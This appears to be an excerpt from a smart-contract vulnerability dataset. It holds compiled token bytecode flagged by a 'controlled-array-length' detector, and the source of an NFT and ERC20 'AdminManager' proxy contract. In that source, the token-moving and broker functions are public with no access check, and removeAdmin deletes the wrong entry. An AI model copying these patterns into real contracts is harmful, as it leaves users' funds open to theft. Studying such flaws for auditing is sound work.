d44565b61038f6004803603604081101561044857600080fd5b506001600160a01b038135169060200135610dd9565b61038f611075565b61038f6004803603606081101561047c57600080fd5b506001600160a01b03813516906020810135906040013561114f565b61038f600480360360208110156104ae57600080fd5b50356001600160a01b03166112a2565b6104c6611348565b604080516001600160a01b039092168252519081900360200190f35b6102e3600480360360608110156104f857600080fd5b506001600160a01b038135169060208101359060400135611357565b61024261153e565b61038f6004803603604081101561053257600080fd5b506001600160a01b03813516906020013561155e565b6102e36004803603604081101561055e57600080fd5b506001600160a01b03813516906020013561164b565b6102e36004803603604081101561058a57600080fd5b506001600160a01b038135169060200135611694565b61038f600480360360408110156105b657600080fd5b8101906020810181356401000000008111156105d157600080fd5b8201836020820111156105e357600080fd5b8035906020019184602083028401116401000000008311171561060557600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929594936020810193503591505064010000000081111561065557600080fd5b82018360208201111561066757600080fd5b8035906020019184602083028401116401000000008311171561068957600080fd5b91908080602002602001604051908101604052809392919081815260200183836020028082843760009201919091525092955061175d945050505050565b610228611865565b610228600480360360208110156106e557600080fd5b50356001600160a01b0316611869565b6102286004803603604081101561070b57600080fd5b506001600160a01b03813581169160200135166118c1565b6102e36004803603606081101561073957600080fd5b506001600160a01b0381351690602081013590604001356118ec565b6102286004803603602081101561076b57600080fd5b50356001600160a01b0316611ad0565b61038f6004803603606081101561079157600080fd5b506001600160a01b038135169060208101359060400135611aeb565b6102e3600480360360208110156107c357600080fd5b50356001600160a01b0316611c37565b610228600480360360208110156107e957600080fd5b50356001600160a01b0316611c55565b61038f6004803603602081101561080f57600080fd5b50356001600160a01b0316611cf4565b420190565b604051806040016040528060098152602001682237b1baa1b430b4b760b91b81525081565b60006001600160a01b03831661085e57600080fd5b3360008181526001602090815260408083206001600160a01b03881680855290835292819020869055805186815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a350600192915050565b6002545b90565b600354600090600160a01b900460ff1615610920576040805162461bcd60e51b815260206004820152600f60248201526e2830bab9b2b210313c9037bbb732b960891b604482015290519081900360640190fd5b6001600160a01b03841660009081526004602052604090205460ff161561098e576040805162461bcd60e51b815260206004820152601760248201527f46726f6d206163636f756e74206973206c6f636b65642e000000000000000000604482015290519081900360640190fd5b61099784611d4b565b6109a2848484611f6e565b949350505050565b601281565b6b06765c793fa10079d000000081565b60006001600160a01b0383166109d457600080fd5b3360009081526001602090815260408083206001600160a01b0387168452909152902054610a08908363ffffffff61203716565b3360008181526001602090815260408083206001600160a01b0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b6003546001600160a01b03163314610ab8576040805162461bcd60e51b81526020600482015260096024820152682737ba1037bbb732b960b91b604482015290519081900360640190fd5b600354600160a01b900460ff16610b07576040805162461bcd60e51b815260206004820152600e60248201526d4e6f7420706175736564206e6f7760901b604482015290519081900360640190fd5b6003805460ff60a01b191690556040517f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3390600090a1565b6003546001600160a01b03163314610b8a576040805162461bcd60e51b81526020600482015260096024820152682737ba1037bbb732b960b91b604482015290519081900360640190fd5b6001600160a01b038116600081815260046020908152604091829020805460ff19169055815192835290517f4feb53e305297ab8fb8f3420c95ea04737addc254a7270d8fc4605d2b9c61dba9281900390910190a150565b6001600160a01b0382166000908152600560205260408120805482919084908110610c0957fe5b600091825260208083206002909202909101546001600160a01b038716835260059091526040909120805485908110610c3e57fe5b906000526020600020906002020160010154915091509250929050565b600354600160a01b900460ff1681565b600080805b6001600160a01b038416600090815260056020526040902054811015610d23576001600160a01b0384166000908152600560205260409020805442919083908110610cb757fe5b90600052602060002090600202016000015411610d1b576001600160a01b03841660009081526005602052604090208054610d18919083908110610cf757fe5b9060005260206000209060020201600101548361203790919063ffffffff16565b91505b600101610c70565b50610d3d81610d3185612049565b9063ffffffff61203716565b9392505050565b6003546001600160a01b03163314610d8f576040805162461bcd60e51b81526020600482015260096024820152682737ba1037bbb732b960b91b604482015290519081900360640190fd5b6003546040516001600160a01b03909116907ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482090600090a2600380546001600160a01b0319169055565b6003546001600160a01b03163314610e24576040805162461bcd60e51b81526020600482015260096024820152682737ba1037bbb732b960b91b604482015290519081900360640190fd5b6001600160a01b0382166000908152600560205260409020548110610e87576040805162461bcd60e51b81526020600482015260146024820152732737903637b1b59034b73337b936b0ba34b7b71760611b604482015290519081900360640190fd5b6001600160a01b03821660009081526005602052604090208054610ee9919083908110610eb057fe5b60009182526020808320600160029093020191909101546001600160a01b0386168352908290526040909120549063ffffffff61203716565b6001600160a01b03831660008181526020818152604080832094909455600590529190912080547f6381d9813cabeb57471b5a7e05078e64845ccdb563146a6911d536f24ce960f1919084908110610f3d57fe5b9060005260206000209060020201600101546040518082815260200191505060405180910390a26001600160a01b0382166000908152600560205260408120805483908110610f8857fe5b60009182526020808320600160029093020191909101929092556001600160a01b038416815260059091526040902054600019018114611047576001600160a01b038216600090815260056020526040902080546000198101908110610fea57fe5b906000526020600020906002020160056000846001600160a01b03166001600160a01b03168152602001908152602001600020828154811061102857fe5b6000918252602090912082546002909202019081556001918201549101555b6001600160a01b0382166000908152600560205260409020805490611070906000198301612284565b505050565b6003546001600160a01b031633146110c0576040805162461bcd60e51b81526020600482015260096024820152682737ba1037bbb732b960b91b604482015290519081900360640190fd5b600354600160a01b900460ff1615611111576040805162461bcd60e51b815260206004820152600f60248201526e2830bab9b2b210313c9037bbb732b960891b604482015290519081900360640190fd5b6003805460ff60a01b1916600160a01b1790556040517f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62590600090a1565b6003546001600160a01b0316331461119a576040805162461bcd60e51b81526020600482015260096024820152682737ba1037bbb732b960b91b604482015290519081900360640190fd5b816111a484612049565b10156111ef576040805162461bcd60e51b81526020600482015260156024820152742130b630b731b29034b9903a37b79039b6b0b6361760591b604482015290519081900360640190fd5b6001600160a01b038316600090815260208190526040902054611218908363ffffffff61206416565b6001600160a01b0384166000818152602081815260408083209490945560058152838220845180860186524287018082528184018981528354600181810186559487529585902092516002909602909201948555905193909101929092558351868152908101919091528251919260008051602061238383398151915292918290030190a2505050565b6003546001600160a01b031633146112ed576040805162461bcd60e51b81526020600482015260096024820152682737ba1037bbb732b960b91b604482015290519081900360640190fd5b6001600160a01b038116600081815260046020908152604091829020805460ff19166001179055815192835290517f8a5c4736a33c7b7f29a2c34ea9ff9608afc5718d56f6fd6dcbd2d3711a1a49139281900390910190a150565b6003546001600160a01b031681565b6003546000906001600160a01b031633146113a5576040805162461bcd60e51b81526020600482015260096024820152682737ba1037bbb732b960b91b604482015290519081900360640190fd5b6001600160a01b0384166113f0576040805162461bcd60e51b815260206004820152600d60248201526c77726f6e67206164647265737360981b604482015290519081900360640190fd5b600354611405906001600160a01b0316612049565b83111561144e576040805162461bcd60e51b81526020600482015260126024820152714e6f7420656e6f7567682062616c616e636560701b604482015290519081900360640190fd5b6003546001600160a01b0316600090815260208190526040902054611479908463ffffffff61206416565b600380546001600160a01b03908116600090815260208181526040808320959095558883168083526005825285832086518088018852428a0181528084018b81528254600181810185559387529585902091516002909602909101948555519301929092559254845188815294519194921692600080516020612363833981519152928290030190a360408051848152428401602082015281516001600160a01b03871692600080516020612383833981519152928290030190a25060019392505050565b604051806040016040528060048152602001631110d0d560e21b81525081565b6003546001600160a01b031633146115a9576040805162461bcd60e51b81526020600482015260096024820152682737ba1037bbb732b960b91b604482015290519081900360640190fd5b6115b282612049565b8111156115fe576040805162461bcd60e51b81526020600482015260156024820152742130b630b731b29034b9903a37b79039b6b0b6361760591b604482015290519081900360640190fd5b6116088282612079565b6040805182815290516001600160a01b038416917fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5919081900360200190a25050565b60006001600160a01b03831661166057600080fd5b3360009081526001602090815260408083206001600160a01b0387168452909152902054610a08908363ffffffff61206416565b3360009081526004602052604081205460ff16156116f9576040805162461bcd60e51b815260206004820152601960248201527f53656e646572206163636f756e74206973206c6f636b65642e00000000000000604482015290519081900360640190fd5b600354600160a01b900460ff161561174a576040805162461bcd60e51b815260206004820152600f60248201526e2830bab9b2b210313c9037bbb732b960891b604482015290519081900360640190fd5b61175333611d4b565b610d3d838361210e565b6003546001600160a01b031633146117a8576040805162461bcd60e51b81526020600482015260096024820152682737ba1037bbb732b960b91b604482015290519081900360640190fd5b81516117b357600080fd5b80518251146117c157600080fd5b60005b8251811015611070576117fd8382815181106117dc57fe5b60200260200101518383815181106117f057fe5b6020026020010151611694565b5082818151811061180a57fe5b60200260200101516001600160a01b0316336001600160a01b031660008051602061236383398151915284848151811061184057fe5b60200260200101516040518082815260200191505060405180910390a36001016117c4565b4290565b600080805b6001600160a01b038416600090815260056020526040902054811015610d23576001600160a01b038416600090815260056020526040902080546118b7919083908110610cf757fe5b915060010161186e565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b6003546000906001600160a01b0316331461193a576040805162461bcd60e51b81526020600482015260096024820152682737ba1037bbb732b960b91b604482015290519081900360640190fd5b6001600160a01b038416611985576040805162461bcd60e51b815260206004820152600d60248201526c77726f6e67206164647265737360981b604482015290519081900360640190fd5b60035461199a906001600160a01b0316612049565b8311156119e3576040805162461bcd60e51b81526020600482015260126024820152714e6f7420656e6f7567682062616c616e636560701b604482015290519081900360640190fd5b6003546001600160a01b0316600090815260208190526040902054611a0e908463ffffffff61206416565b600380546001600160a01b039081166000908152602081815260408083209590955588831680835260058252858320865180880188528981528084018b81528254600181810185559387529585902091516002909602909101948555519301929092559254845188815294519194921692600080516020612363833981519152928290030190a3604080518481526020810184905281516001600160a01b03871692600080516020612383833981519152928290030190a25060019392505050565b6001600160a01b031660009081526005602052604090205490565b6003546001600160a01b03163314611b36576040805162461bcd60e51b81526020600482015260096024820152682737ba1037bbb732b960b91b604482015290519081900360640190fd5b81611b4084612049565b1015611b8b576040805162461bcd60e51b81526020600482015260156024820152742130b630b731b29034b9903a37b79039b6b0b6361760591b604482015290519081900360640190fd5b6001600160a01b038316600090815260208190526040902054611bb4908363ffffffff61206416565b6001600160a01b03841660008181526020818152604080832094909455600581528382208451808601865286815280830188815282546001818101855593865294849020915160029095029091019384555192019190915582518581529081018490528251919260008051602061238383398151915292918290030190a2505050565b6001600160a01b031660009081526004602052604090205460ff1690565b600080805b6001600160a01b038416600090815260056020526040902054811015611ced576001600160a01b0384166000908152600560205260409020805442919083908110611ca157fe5b9060005260206000209060020201600001541115611ce5576001600160a01b03841660009081526005602052604090208054611ce2919083908110610cf757fe5b91505b600101611c5a565b5092915050565b6003546001600160a01b03163314611d3f576040805162461bcd60e51b81526020600482015260096024820152682737ba1037bbb732b960b91b604482015290519081900360640190fd5b611d4881612124565b50565b60005b6001600160a01b038216600090815260056020526040902054811015611f6a576001600160a01b0382166000908152600560205260409020805442919083908110611d9557fe5b90600052602060002090600202016000015411611f62576001600160a01b03821660009081526005602052604090208054611dd5919083908110610eb057fe5b6001600160a01b03831660008181526020818152604080832094909455600590529190912080547f6381d9813cabeb57471b5a7e05078e64845ccdb563146a6911d536f24ce960f1919084908110611e2957fe5b9060005260206000209060020201600101546040518082815260200191505060405180910390a26001600160a01b0382166000908152600560205260408120805483908110611e7457fe5b60009182526020808320600160029093020191909101929092556001600160a01b038416815260059091526040902054600019018114611f37576001600160a01b038216600090815260056020526040902080546000198101908110611ed657fe5b906000526020600020906002020160056000846001600160a01b03166001600160a01b031681526020019081526020016000208281548110611f1457fe5b600091825260209091208254600290920201908155600191820154910155600019015b6001600160a01b0382166000908152600560205260409020805490611f60906000198301612284565b505b600101611d4e565b5050565b6001600160a01b0383166000908152600160209081526040808320338452909152812054611fa2908363ffffffff61206416565b6001600160a01b0385166000908152600160209081526040808320338452909152902055611fd18484846121cb565b6001600160a01b0384166000818152600160209081526040808320338085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b600082820183811015610d3d57600080fd5b6001600160a01b031660009081526020819052604090205490565b60008282111561207357600080fd5b50900390565b6001600160a01b03821661208c57600080fd5b60025461209f908263ffffffff61206416565b6002556001600160a01b0382166000908152602081905260409020546120cb908263ffffffff61206416565b6001600160a01b03831660008181526020818152604080832094909455835185815293519193600080516020612363833981519152929081900390910190a35050565b600061211b3384846121cb565b50600192915050565b6001600160a01b03811661216f576040805162461bcd60e51b815260206004820152600d60248201526c20b63932b0b23c9037bbb732b960991b604482015290519081900360640190fd5b6003546040516001600160a01b038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600380546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0382166121de57600080fd5b6001600160a01b038316600090815260208190526040902054612207908263ffffffff61206416565b6001600160a01b03808516600090815260208190526040808220939093559084168152205461223c908263ffffffff61203716565b6001600160a01b0380841660008181526020818152604091829020949094558051858152905191939287169260008051602061236383398151915292918290030190a3505050565b81548183558181111561107057600083815260209020611070916108c99160029182028101918502015b808211156122c857600080825560018201556002016122ae565b5090565b6001600160a01b0382166122df57600080fd5b6002546122f2908263ffffffff61203716565b6002556001600160a01b03821660009081526020819052604090205461231e908263ffffffff61203716565b6001600160a01b0383166000818152602081815260408083209490945583518581529351929391926000805160206123638339815191529281900390910190a3505056feddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef49eaf4942f1237055eb4cfa5f31c9dfe50d5b4ade01e021f7de8be2fbbde557ba265627a7a72315820a8ebafccb71d11b6532be424b19ac912138adca77333fa8db86617e370919a0964736f6c63430005110032
{"success": true, "error": null, "results": {"detectors": [{"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
5,832
0x4515cb3e1d42dbc6a7e9f789309c2e9604f01d4d
/** *Submitted for verification at Etherscan.io on 2021-11-10 */ // SPDX-License-Identifier: MIT pragma solidity ^0.5.6; // import "@openzeppelin/contracts/ownership/Ownable.sol"; // import '@openzeppelin/contracts/token/ERC721/ERC721Holder.sol'; contract Context { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. constructor() internal {} // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns (address payable) { return msg.sender; } function _msgData() internal view returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(isOwner(), "Ownable: caller is not the owner"); _; } /** * @dev Returns true if the caller is the current owner. */ function isOwner() public view returns (bool) { return _msgSender() == _owner; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). */ function _transferOwnership(address newOwner) internal { require( newOwner != address(0), "Ownable: new owner is the zero address" ); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract IERC721Receiver { function onERC721Received( address operator, address from, uint256 tokenId, bytes memory data ) public returns (bytes4); } contract ERC721Holder is IERC721Receiver { function onERC721Received( address, address, uint256, bytes memory ) public returns (bytes4) { return this.onERC721Received.selector; } } interface IMintable { // Required read methods function getApproved(uint256 tokenId) external returns (address operator); function tokenURI(uint256 tokenId) external returns (string memory); // Required write methods function approve(address _to, uint256 _tokenId) external; function transfer(address _to, uint256 _tokenId) external; function burn(uint256 tokenId) external; function mint(string calldata _tokenURI, uint256 _royality) external; function safeTransferFrom( address from, address to, uint256 tokenId ) external; function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; function transferFrom( address from, address to, uint256 tokenId ) external; } interface IBrokerV2 { function bid( uint256 tokenID, address _mintableToken, uint256 amount ) external payable; function collect(uint256 tokenID, address _mintableToken) external; function buy(uint256 tokenID, address _mintableToken) external payable; function putOnSale( uint256 _tokenID, uint256 _startingPrice, uint256 _auctionType, uint256 _buyPrice, uint256 _duration, address _mintableToken, address _erc20Token ) external; function updatePrice( uint256 tokenID, address _mintableToken, uint256 _newPrice, address _erc20Token ) external; function putSaleOff(uint256 tokenID, address _mintableToken) external; } interface IERC20 { function approve(address spender, uint256 value) external; function decreaseApproval(address _spender, uint256 _subtractedValue) external; function increaseApproval(address spender, uint256 addedValue) external; function transfer(address to, uint256 value) external; function transferFrom( address from, address to, uint256 value ) external; function increaseAllowance(address spender, uint256 addedValue) external; function decreaseAllowance(address spender, uint256 subtractedValue) external; function balanceOf(address who) external view returns (uint256); } /** * @title AdminManager * @author Yogesh Singh * @notice You can use this contract to execute function on behalf of superUser * @dev Mediator contract to allow muliple user to perform ERC721 action using contracts address only */ contract AdminManager is Ownable, ERC721Holder { address[] public admins; struct FunctionNames { string approve; string transfer; string burn; string mint; string safeTransferFrom; string transferFrom; string putOnSale; string buy; string bid; string collect; string updatePrice; string putSaleOff; string erc20Approve; string erc20DecreaseApproval; string erc20IncreaseApproval; string erc20Transfer; string erc20TransferFrom; string erc20IncreaseAllowance; string erc20DecreaseAllowance; } FunctionNames functionNames = FunctionNames( "ERC721:approve", "ERC721:transfer", "ERC721:burn", "ERC721:mint", "ERC721:safeTransferFrom", "ERC721:transferFrom", "Broker:putOnSale", "Broker:buy", "Broker:bid", "Broker:collect", "Broker:updatePrice", "Broker:putSaleOff", "ERC20:approve", "ERC20:decreaseApproval", "ERC20:increaseApproval", "ERC20:transfer", "ERC20:transferFrom", "ERC20:increaseAllowance", "ERC20:decreaseAllowance" ); IBrokerV2 broker; event NFTBurned( address indexed collection, uint256 indexed tokenId, address indexed admin, uint256 time, string tokenURI ); event AdminRemoved(address admin, uint256 time); event AdminAdded(address admin, uint256 time); event AdminActionPerformed( address indexed admin, address indexed contractAddress, string indexed functionName, address collectionAddress, uint256 tokenId ); constructor(address _broker) public { transferOwnership(msg.sender); broker = IBrokerV2(_broker); } /** * @notice This function is used to check address of admin exist or not in list of admin * @dev Fuction take address type argument * @param _sender The account address of _sender or admin */ function adminExist(address _sender) public view returns (bool) { for (uint256 i = 0; i < admins.length; i++) { if (_sender == admins[i]) { return true; } } return false; } modifier adminOnly() { require(adminExist(msg.sender), "AdminManager: admin only."); _; } modifier adminAndOwnerOnly() { require( adminExist(msg.sender) || isOwner(), "AdminManager: admin and owner only." ); _; } /** * @notice This function is used to add address of admins * @dev Fuction take address type argument * @param admin The account address of admin */ function addAdmin(address admin) public onlyOwner { if (!adminExist(admin)) { admins.push(admin); } else { revert("admin already in list"); } emit AdminAdded(admin, block.timestamp); } /** * @notice This function is used to get list of all address of admins * @dev This Fuction is not take any argument * @return This Fuction return list of address[] */ function getAdmins() public view returns (address[] memory) { return admins; } /** * @notice This function is used to get list of all address of admins * @dev This Fuction is not take any argument * @param admin The account address of admin */ function removeAdmin(address admin) public onlyOwner { for (uint256 i = 0; i < admins.length; i++) { if (admins[i] == admin) { admins[admins.length - 1] = admins[i]; admins.pop(); break; } } emit AdminRemoved(admin, block.timestamp); } /** * @notice This function is used to burn the apporved NFTToken to certain admin address which was allowed by super admin the owner of Admin Manager * @dev This Fuction is take two arguments address of contract and tokenId of NFT * @param collection tokenId The contract address of NFT contract and tokenId of NFT */ function burnNFT(address collection, uint256 tokenId) public adminAndOwnerOnly { IMintable NFTToken = IMintable(collection); string memory tokenURI = NFTToken.tokenURI(tokenId); require( NFTToken.getApproved(tokenId) == address(this), "Token not apporove for burn" ); NFTToken.burn(tokenId); emit NFTBurned( collection, tokenId, msg.sender, block.timestamp, tokenURI ); } // NFT methods for admin to manage by this contract URL function erc721Approve( address _ERC721Address, address _to, uint256 _tokenId ) public adminAndOwnerOnly { IMintable erc721 = IMintable(_ERC721Address); emit AdminActionPerformed( msg.sender, _ERC721Address, functionNames.approve, _ERC721Address, _tokenId ); return erc721.approve(_to, _tokenId); } function erc721Transfer( address _ERC721Address, address _to, uint256 _tokenId ) public adminAndOwnerOnly { IMintable erc721 = IMintable(_ERC721Address); emit AdminActionPerformed( msg.sender, _ERC721Address, functionNames.transfer, _ERC721Address, _tokenId ); return erc721.transfer(_to, _tokenId); } function erc721Burn(address _ERC721Address, uint256 tokenId) public adminAndOwnerOnly { IMintable erc721 = IMintable(_ERC721Address); emit AdminActionPerformed( msg.sender, _ERC721Address, functionNames.burn, _ERC721Address, tokenId ); return erc721.burn(tokenId); } function erc721Mint( address _ERC721Address, string memory tokenURI, uint256 _royality ) public adminAndOwnerOnly { IMintable erc721 = IMintable(_ERC721Address); emit AdminActionPerformed( msg.sender, _ERC721Address, functionNames.mint, _ERC721Address, 0 ); return erc721.mint(tokenURI, _royality); } function erc721SafeTransferFrom( address _ERC721Address, address from, address to, uint256 tokenId ) public adminAndOwnerOnly { IMintable erc721 = IMintable(_ERC721Address); emit AdminActionPerformed( msg.sender, _ERC721Address, functionNames.safeTransferFrom, _ERC721Address, tokenId ); return erc721.safeTransferFrom(from, to, tokenId); } function erc721SafeTransferFrom( address _ERC721Address, address from, address to, uint256 tokenId, bytes memory _data ) public adminAndOwnerOnly { IMintable erc721 = IMintable(_ERC721Address); emit AdminActionPerformed( msg.sender, _ERC721Address, functionNames.safeTransferFrom, _ERC721Address, tokenId ); return erc721.safeTransferFrom(from, to, tokenId, _data); } function erc721TransferFrom( address _ERC721Address, address from, address to, uint256 tokenId ) public adminAndOwnerOnly { IMintable erc721 = IMintable(_ERC721Address); emit AdminActionPerformed( msg.sender, _ERC721Address, functionNames.transferFrom, _ERC721Address, tokenId ); return erc721.transferFrom(from, to, tokenId); } // Broker functions function bid( uint256 tokenID, address _mintableToken, uint256 amount ) public payable { broker.bid.value(msg.value)(tokenID, _mintableToken, amount); emit AdminActionPerformed( msg.sender, address(broker), functionNames.bid, _mintableToken, tokenID ); } function collect(uint256 tokenID, address _mintableToken) public { broker.collect(tokenID, _mintableToken); emit AdminActionPerformed( msg.sender, address(broker), functionNames.collect, _mintableToken, tokenID ); } function buy(uint256 tokenID, address _mintableToken) public payable { broker.buy.value(msg.value)(tokenID, _mintableToken); emit AdminActionPerformed( msg.sender, address(broker), functionNames.buy, _mintableToken, tokenID ); } function putOnSale( uint256 _tokenID, uint256 _startingPrice, uint256 _auctionType, uint256 _buyPrice, uint256 _duration, address _mintableToken, address _erc20Token ) public { broker.putOnSale( _tokenID, _startingPrice, _auctionType, _buyPrice, _duration, _mintableToken, _erc20Token ); emit AdminActionPerformed( msg.sender, address(broker), functionNames.putOnSale, _mintableToken, _tokenID ); } function updatePrice( uint256 tokenID, address _mintableToken, uint256 _newPrice, address _erc20Token ) public { broker.updatePrice(tokenID, _mintableToken, _newPrice, _erc20Token); emit AdminActionPerformed( msg.sender, address(broker), functionNames.updatePrice, _mintableToken, tokenID ); } function putSaleOff(uint256 tokenID, address _mintableToken) public { broker.putSaleOff(tokenID, _mintableToken); emit AdminActionPerformed( msg.sender, address(broker), functionNames.putSaleOff, _mintableToken, tokenID ); } // ERC20 methods function erc20Approve(address _erc20, address spender, uint256 value) public { IERC20 erc20 = IERC20(_erc20); erc20.approve(spender, value); emit AdminActionPerformed( msg.sender, _erc20, functionNames.erc20Approve, spender, value ); } function erc20DecreaseApproval(address _erc20, address _spender, uint256 _subtractedValue) public { IERC20 erc20 = IERC20(_erc20); erc20.decreaseApproval(_spender, _subtractedValue); emit AdminActionPerformed( msg.sender, _erc20, functionNames.erc20DecreaseAllowance, _spender, _subtractedValue ); } function erc20IncreaseApproval(address _erc20, address spender, uint256 addedValue) public { IERC20 erc20 = IERC20(_erc20); erc20.increaseApproval(spender, addedValue); emit AdminActionPerformed( msg.sender, _erc20, functionNames.erc20IncreaseApproval, spender, addedValue ); } function erc20Transfer(address _erc20, address to, uint256 value) public { IERC20 erc20 = IERC20(_erc20); erc20.transfer(to, value); emit AdminActionPerformed( msg.sender, _erc20, functionNames.erc20Transfer, to, value ); } function erc20TransferFrom(address _erc20, address from, address to, uint256 value ) public { IERC20 erc20 = IERC20(_erc20); erc20.transferFrom(from, to, value); emit AdminActionPerformed( msg.sender, _erc20, functionNames.erc20TransferFrom, to, value ); } function erc20IncreaseAllowance(address _erc20, address spender, uint256 addedValue) public { IERC20 erc20 = IERC20(_erc20); erc20.increaseAllowance(spender, addedValue); emit AdminActionPerformed( msg.sender, _erc20, functionNames.erc20IncreaseAllowance, spender, addedValue ); } function erc20DecreaseAllowance(address _erc20, address spender, uint256 subtractedValue) public { IERC20 erc20 = IERC20(_erc20); erc20.decreaseAllowance(spender, subtractedValue); emit AdminActionPerformed( msg.sender, _erc20, functionNames.erc20DecreaseAllowance, spender, subtractedValue ); } // Fallback function function() external payable { } function withdraw() public onlyOwner { msg.sender.transfer(address(this).balance); } function withdrawERC20(address _erc20Token) public onlyOwner { IERC20 erc20Token = IERC20(_erc20Token); erc20Token.transfer(msg.sender, erc20Token.balanceOf(address(this))); } }
0x6080604052600436106101ee5760003560e01c8063704802751161010d578063ace561a8116100a0578063f2fde38b1161006f578063f2fde38b14610f21578063f4f3b20014610f72578063fba08d4514610fc3578063fddea9001461102c578063ff8edbdb1461111e576101ee565b8063ace561a814610d58578063b6011b4c14610dd3578063c0f4ed3114610e4e578063c347f69b14610ea6576101ee565b80638d3c100a116100dc5780638d3c100a14610bfc5780638da5cb5b14610c575780638f32d59b14610cae5780639dc6b78d14610cdd576101ee565b80637048027514610aab578063715018a614610afc5780637deb602514610b135780638450ebe414610b61576101ee565b806322b4aa371161018557806347fcf0181161015457806347fcf01814610828578063485f952e14610883578063488b0f7d146108de5780634a0aafda14610a10576101ee565b806322b4aa371461068757806331ae450b1461072a5780633790767d146107965780633ccfd60b14610811576101ee565b80631785f53c116101c15780631785f53c146104e5578063179443f31461053657806318fa0653146105915780631afffec01461060c576101ee565b80630a1b0b91146101f05780630c82ea1a1461028b57806314bfd6d014610306578063150b7a0214610381575b005b3480156101fc57600080fd5b506102896004803603608081101561021357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506111a3565b005b34801561029757600080fd5b50610304600480360360608110156102ae57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611388565b005b34801561031257600080fd5b5061033f6004803603602081101561032957600080fd5b8101908080359060200190929190505050611538565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561038d57600080fd5b50610491600480360360808110156103a457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291908035906020019064010000000081111561040b57600080fd5b82018360208201111561041d57600080fd5b8035906020019184600183028401116401000000008311171561043f57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050509192919290505050611574565b60405180827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19167bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916815260200191505060405180910390f35b3480156104f157600080fd5b506105346004803603602081101561050857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611588565b005b34801561054257600080fd5b5061058f6004803603604081101561055957600080fd5b8101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506117d4565b005b34801561059d57600080fd5b5061060a600480360360608110156105b457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506119c1565b005b34801561061857600080fd5b506106856004803603606081101561062f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611bde565b005b34801561069357600080fd5b50610728600480360360e08110156106aa57600080fd5b810190808035906020019092919080359060200190929190803590602001909291908035906020019092919080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611d8e565b005b34801561073657600080fd5b5061073f611fd4565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b83811015610782578082015181840152602081019050610767565b505050509050019250505060405180910390f35b3480156107a257600080fd5b5061080f600480360360608110156107b957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050612062565b005b34801561081d57600080fd5b50610826612212565b005b34801561083457600080fd5b506108816004803603604081101561084b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506122d5565b005b34801561088f57600080fd5b506108dc600480360360408110156108a657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050612709565b005b3480156108ea57600080fd5b50610a0e600480360360a081101561090157600080fd5b81019080803573ffffffffffffffffffffffffff